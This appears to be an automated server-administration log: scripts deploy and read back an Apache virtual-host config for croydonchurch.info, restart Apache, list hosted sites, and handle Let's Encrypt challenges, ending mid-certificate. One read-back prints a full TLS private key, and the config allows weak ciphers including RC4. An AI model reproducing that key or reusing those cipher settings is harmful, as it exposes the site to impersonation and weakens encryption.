    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-16 06:00:19: 

PUT: /tmp/pkp246500

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=croydonchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/croydonchurch_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/croydonchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf= 1'
fi


2026-01-16 06:00:19: 

chmod 755 /tmp/pkp246500; /tmp/pkp246500; rm /tmp/pkp246500

2026-01-16 06:00:19: 




2026-01-16 06:00:19: 

PUT: /tmp/pkp507342

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-16 06:00:19: 

chmod 755 /tmp/pkp507342; /tmp/pkp507342; rm /tmp/pkp507342

2026-01-16 06:00:20: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-16 06:00:20: Establishing a connection
2026-01-16 06:00:20: 

PUT: /tmp/pkp158560

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-16 06:00:20: 

chmod 755 /tmp/pkp158560; /tmp/pkp158560; rm /tmp/pkp158560

2026-01-16 06:00:20: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-16 06:00:20: 

PUT: /tmp/pkp966129

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/croydonchurch_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-16 06:00:20: 

chmod 755 /tmp/pkp966129; /tmp/pkp966129; rm /tmp/pkp966129

2026-01-16 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf	1429

<VirtualHost *:80>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	croydonchurch.info
    ServerAlias	www.croydonchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
    DocumentRoot	/var/www/croydonchurch_www
    <Directory /var/www/croydonchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/croydonchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/croydonchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-16 06:00:20: 

PUT: /tmp/pkp698964

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-16 06:00:20: 

chmod 755 /tmp/pkp698964; /tmp/pkp698964; rm /tmp/pkp698964

2026-01-16 06:00:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt	5401
82:60:6d:95:02:e8:d0:8e:1c:42:53:9a:b1:b0:d1:d2

-----BEGIN CERTIFICATE-----
MIIFITCCBAmgAwIBAgISBskgvdkw2pKmAQZmh7abanBxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE2MDUwMTQ4WhcNMjYwNDE2MDUwMTQ3WjAdMRswGQYDVQQD
ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDX4aZllbu4/LojcS+XQ56SdqABeio0wLZNpf2m5/LxIiB3e/2Fa1gRRfMP
yc2s6GD/DZRsSJtQHZlXQf9IN6SOayCotRJSgF0CjBdUaHmy5pxLEMpWQ1q3LBGd
RObPHPT7F4mbniJup/ezwu+DK3OtItU/DKMi8gmP+HX/tDfwe5y3JSw7jZLo/ZU1
rl2QpJJdL+7picQ7rWpESYZNoxMl9nF4c9tAavgYJ6OtVUaM+RjYcisHJZUcQ2e0
C4G2P5vqR1G/TVJRzlKmu1eZb+4efTmcW+iIJR9RYkcWctxdoSEUYCfUFI97RRzW
W6pJ0LZZxEi29glkaUdQZc2TalPZAgMBAAGjggJDMIICPzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFP0C3rhrXgxakha/5wLE4qzYi1wmMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY3JveWRvbmNodXJjaC5p
bmZvghZ3d3cuY3JveWRvbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE0LmNy
bDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB1AEmcm2neHXzs/DbezYdkprhbrwqH
gBnRVVL76esp3fjDAAABm8Vj6psAAAQDAEYwRAIgWlG5sA5+VUvKzOA/QD9+1WI5
YEwj/Qn5GgIiXUjv94QCIDvp1tCsDiSZo+74db02c/M0u4KRbmb3UwzZlsa8LOk2
AH8A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugAAAGbxWPrWwAIAAAF
AC+LYj0EAwBIMEYCIQDltc4CLV4VDYnkw7U9MN3MhDvHvCxcfD5jvlQp9vktZwIh
AKasC7SeL0af4UfI33EdaheZgalRiHvv4KjGhpHldzTgMA0GCSqGSIb3DQEBCwUA
A4IBAQAU9rQ1gHTGgOwN64aXnOhkf8GGYvJDSI4loVwmufeQnCjB6FcMtLd8hJEz
E4FCVD6Pu9oOsn3BY62Evnu/K1zmcP+qtlD+Qm5sZH3YbErmb8GOZsMPeTLhIenj
yRXAvuUsXB7cFz5kb/WFmK2+vK27WVdlauke6Stls7rWoJZ8WzWOLmIFGcFiHjxN
QNfphtrMHQY6ppystN9+PRurHndBqnPOrthS0+6h6iR4F+SSY+wgUPPTc3TcgHHY
CntMpNxV4GfrSlOWC4mh288dHJmcLIsoOx02jQV8sD/rBJIOa2W0R/A2Ka+Y7Lmg
S2oeQjGqFZHcIx/zmDQltjyUzEto
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDX4aZllbu4/Loj
cS+XQ56SdqABeio0wLZNpf2m5/LxIiB3e/2Fa1gRRfMPyc2s6GD/DZRsSJtQHZlX
Qf9IN6SOayCotRJSgF0CjBdUaHmy5pxLEMpWQ1q3LBGdRObPHPT7F4mbniJup/ez
wu+DK3OtItU/DKMi8gmP+HX/tDfwe5y3JSw7jZLo/ZU1rl2QpJJdL+7picQ7rWpE
SYZNoxMl9nF4c9tAavgYJ6OtVUaM+RjYcisHJZUcQ2e0C4G2P5vqR1G/TVJRzlKm
u1eZb+4efTmcW+iIJR9RYkcWctxdoSEUYCfUFI97RRzWW6pJ0LZZxEi29glkaUdQ
Zc2TalPZAgMBAAECggEAI38e9SUhsNEdaiZ6RM0BjeOje5qyxenKEApzIraQ48VQ
wVTJ4t47pNtzk+0CvKOZD1cUSJnHr+yuAgMADsfXbvN+cz8SvC4PHRQb4e0r1ZbF
rDIekwCQMf41Bz8FFJkWTxMXtVbTIo7L0+sBpvfGFXncxnk1edGCcQHRpTHk4M2l
LkApTrhWo/BJvZ1ldqSsikw0PVwnpC97yoV05ua/67anpkmui0XfKTLvWR7uWgvi
iEmyD1Fw0yUfUsH2TIPPRg4ipb5VlOV9N7lOFyuVwTNQfJ4cN/NWHTs1zQCP+my5
8347WxhbVy3E4deifGU64bBa5vS1M1u/MOsxtMzvYQKBgQDt/+kmGQJMcDKJdEbS
0VqPZtmFeCkSR9VNvB0+Fff/+8pNOZPkImwRz6iO42GKUX30mpUxGkTED3SUUqic
PomunjgLl3mC+oj49GJLJKCRDqZ10wVDXz7sY/0lHyi3I3m52CrBLAdSMgJUqURQ
QIxkzz5FM8HyU+4TXvqap5bUywKBgQDoNX37hMMF8U/B4AX44aNCp3LDri9aVJn3
C0d5Jbd0yv1/u7UWvPbcCt6qEshqfJ2fS9Oboqy9LPm4BApOmkABNVCinmWAM9kp
HA1FFJqaJRlu1bmkchRtcykBFPoD5ai5hcEd1cQbRyTY6PH/qnAMMqSAxevFh8+3
KHomkWTJawKBgHkhNT1xnwzeUapJpr4nVSsFEpJujKDENJjCtDNkJPuA3/6b3lxO
9KfAA67tpTgrr6ptfp8mGnea0h+nTi9vWM2psyabKnnyHwJuBxTtiFcrmKcBBn26
nSDc5vsct7E1+f8POPtl+DfqQetq1tztbUblf3DjHcPC2bm8LlnGD+svAoGAITFE
SOe5WOgdloEHWYQnaie1Z/NGIYtmVsHt/Ys+phs+ETwrroxkXR/QpE77Bv25KkQU
g3LFbmU3bO5m6sVx0LpmRFiP+btvl0jDPNStJMuYzxcN6kvET8DeY6Ez+8qgS6Sq
7jDYT23j/n2N2hXq3lN+4ElqYln/fxbyHwE5fvECgYEA3gmlvoVHIKd1a6pmJPBC
AwvP5jsaeLOBd+xDXoepX1SPeb9HTGnzM7FHuEl6v3E8Rc0UTuKJxksXJpPKET+o
u3yw5wCdcoGuoY58CVWRQRRphkIr2jtjRGTby4j1hZgWYpBx63n9NsAES0pVOpY9
PJARXCC6Lp4Y5FqLq7lYWEY=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-17 06:00:03: Establishing a connection
2026-01-17 06:00:03: Establishing a connection
2026-01-17 06:00:03: 

PUT: /tmp/pkp701794

#!/bin/bash
if [ -d "/var/www/hostz_venus/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-17 06:00:04: 

chmod 755 /tmp/pkp701794; /tmp/pkp701794; rm /tmp/pkp701794

2026-01-17 06:00:04: 


1


2026-01-17 06:00:06: Establishing a connection
2026-01-17 06:00:06: 

PUT: /tmp/pkp328385

#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
cat > sEq2tQAHJGYkhZOX0X7JxoOMZ0qf9bgj-goqcQMjUDI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
sEq2tQAHJGYkhZOX0X7JxoOMZ0qf9bgj-goqcQMjUDI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 sEq2tQAHJGYkhZOX0X7JxoOMZ0qf9bgj-goqcQMjUDI
cat > OZVl71ca1KF3fbC1If0f6ELGI2CwTl8tKBVk08QrRJc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
OZVl71ca1KF3fbC1If0f6ELGI2CwTl8tKBVk08QrRJc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 OZVl71ca1KF3fbC1If0f6ELGI2CwTl8tKBVk08QrRJc
cat > h5XPkjzTB0Gq4JqgcU-auGSm9TC1yLCs2GyOdljzgt0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
h5XPkjzTB0Gq4JqgcU-auGSm9TC1yLCs2GyOdljzgt0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 h5XPkjzTB0Gq4JqgcU-auGSm9TC1yLCs2GyOdljzgt0


2026-01-17 06:00:06: 

chmod 755 /tmp/pkp328385; /tmp/pkp328385; rm /tmp/pkp328385

2026-01-17 06:00:06: 




2026-01-17 06:00:22: Establishing a connection
2026-01-17 06:00:22: 

PUT: /tmp/pkp941469

#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
rm sEq2tQAHJGYkhZOX0X7JxoOMZ0qf9bgj-goqcQMjUDI
rm OZVl71ca1KF3fbC1If0f6ELGI2CwTl8tKBVk08QrRJc
rm h5XPkjzTB0Gq4JqgcU-auGSm9TC1yLCs2GyOdljzgt0


2026-01-17 06:00:22: 

chmod 755 /tmp/pkp941469; /tmp/pkp941469; rm /tmp/pkp941469

2026-01-17 06:00:22: 




2026-01-17 06:00:22: Establishing a connection
2026-01-17 06:00:22: 

PUT: /tmp/pkp791872

#!/bin/bash
temp_file=$(mktemp)
TARGET=d2f885a15ab55cd2a5fd0d3cbe2ab259.crt

cat > $temp_file <<'endmsg'
a6:32:ba:1e:dd:6e:47:65:16:cf:e1:8a:df:af:ea:9b

-----BEGIN CERTIFICATE-----
MIIFJDCCBAygAwIBAgISBfQIwXBMpZipa4xPnGdu5U8GMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE3MDUwMTUwWhcNMjYwNDE3MDUwMTQ5WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMhvtEJTsOPEYClsxAkh3GI1pC5PsIMJ54xxsrAH5kXC9PwKIFNFDpTmbmGXmpOL
